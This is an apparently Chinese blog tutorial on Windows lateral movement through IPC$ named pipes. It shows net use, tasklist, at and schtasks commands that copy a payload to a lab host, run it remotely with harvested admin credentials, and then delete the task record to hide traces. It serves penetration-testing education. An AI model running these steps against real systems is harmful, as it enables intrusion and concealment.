IPC命名管道攻击

介绍

域内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,尤其是高级持续威胁(APT)攻击中。攻击者会利用该技术,以攻陷的系统为跳板,访问其他域内主机,扩大资产范围,其中也包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产。

通过这种手段,攻击者最终可能获取域控的访问权限,甚至完全控制基于Windows操作系统的基础设施和业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议管理员定期修改密码,从而使攻击者获取的权限失效。

前言

在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过Pass The Hash的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用远程命令对Windows主机进行相关操作。在实际网络环境中,网络管理人员可以通过配置Windows系统自带的防火墙或组策略进行防御。

IPC

IPC共享"命名管道"的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标计算机机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

ipc$的利用条件

  1. 开启了139、445端口。ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。
  2. 管理员开启了默认共享。默认共享是为了方便管理员进行远程管理而默认开启的,包括c$、d$、e$等和系统目录winnt或admin$。

ipc$连接失败的原因

  • 用户名或密码错误
  • 目标没有打开ipc$默认共享
  • 不能成功连接目标的139、445端口
  • 命令输入错误

常见错误号

  • 5:拒绝访问
  • 51:Windows无法找到网络路径,即网络中存在问题
  • 53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动、目标有防火墙,端口被过滤。
  • 67:找不到网络名,包括lanmanworkstation服务未启动、ipc$已被删除
  • 1219:提供的凭据与已存在的凭据集冲突。
  • 1326:位置的用户名或错误的密码。
  • 1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动
  • 2242:此用户的密码已经过期

获取远程主机信息

首先我们得先建立命名管道

net use \\要建立连接的IP地址\ipc$ "账户密码" /user:对应用户名
net use

在这里插入图片描述
查看对应磁盘的信息

dir \\192.168.108.101\c$

在这里插入图片描述
使用tasklist命令的/S、/U、/P参数列出远程主机上运行的进程

tasklist /S 192.168.108.101 /U administrator /P Admin12345

在这里插入图片描述

计划任务

at是Windows自带的用于创建计划任务的命令,它主要工作在Windows Server2008之前版本中,创建计划任务的流程大致如下:

  1. 使用net time命令确定远程机器当前的系统时间
  2. 使用copy命令将payload文件复制到远程目标机器中
  3. 使用at命令定时启动该payload文件
  4. 删除使用at命令创建计划任务的记录
  5. tips:因为域用户受到权限的限制,要执行相关操作必须是本地管理员才可以

在这里插入图片描述

查看目标系统时间

在这里插入图片描述

将文件复制到目标系统中

copy calc.bat \\192.168.108.103\C$

在这里插入图片描述

使用at创建计划任务

获取系统的当前时间的目的就是让目标系统在指定时间运行一个程序

at \\192.168.108.103 16:11 C:\calc.bat

在这里插入图片描述
可以看到在指定的时间后台开启了计算器这个进程
在这里插入图片描述

清除at记录

计划任务不会删除自己本身,因此网络管理员可以通过攻击者创建的计划任务判断自己是否遭到了攻击

at \\192.168.108.103 1 /delete

在这里插入图片描述
我们使用at远程执行命令后,可以将结果写入本地文本文件中,再使用type命令读取该文本内容

at \\192.168.108.103 16:20 cmd.exe /c "ipconfig >C:/1.txt"

在这里插入图片描述
在这里插入图片描述
at命令在Windows2008之后就被废除,改用为schtasks这个命令,这命令更加灵活,我们来看看它的使用方法

我们现在在远程主机上创建一个名称为test的计划任务,设置为开机启动,启动C盘的calc.bat文件,权限为Administrator。意外发现建立了ipc后还是要输入用户名和密码,要不然会提示拒绝访问

schtasks /create /s 192.168.108.101 /tn test /sc onstart /tr c:\calc.bat /u administrator /p aDmin12345 /f

在这里插入图片描述
执行计划任务

schtasks /run /s 192.168.108.101 /i /tn "test" /u administrator /p aDmin12345

在这里插入图片描述
在这里插入图片描述

最后我们删除这个计划任务

schtasks /delete /s 192.168.108.101 /tn "test" /f /u administrator /p aDmin12345

在这里插入图片描述
最后我们删除这个ipc命名管道,在删除时要确认是自己创建的命名管道

net use \\192.168.108.101\ipc$ /del /y
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值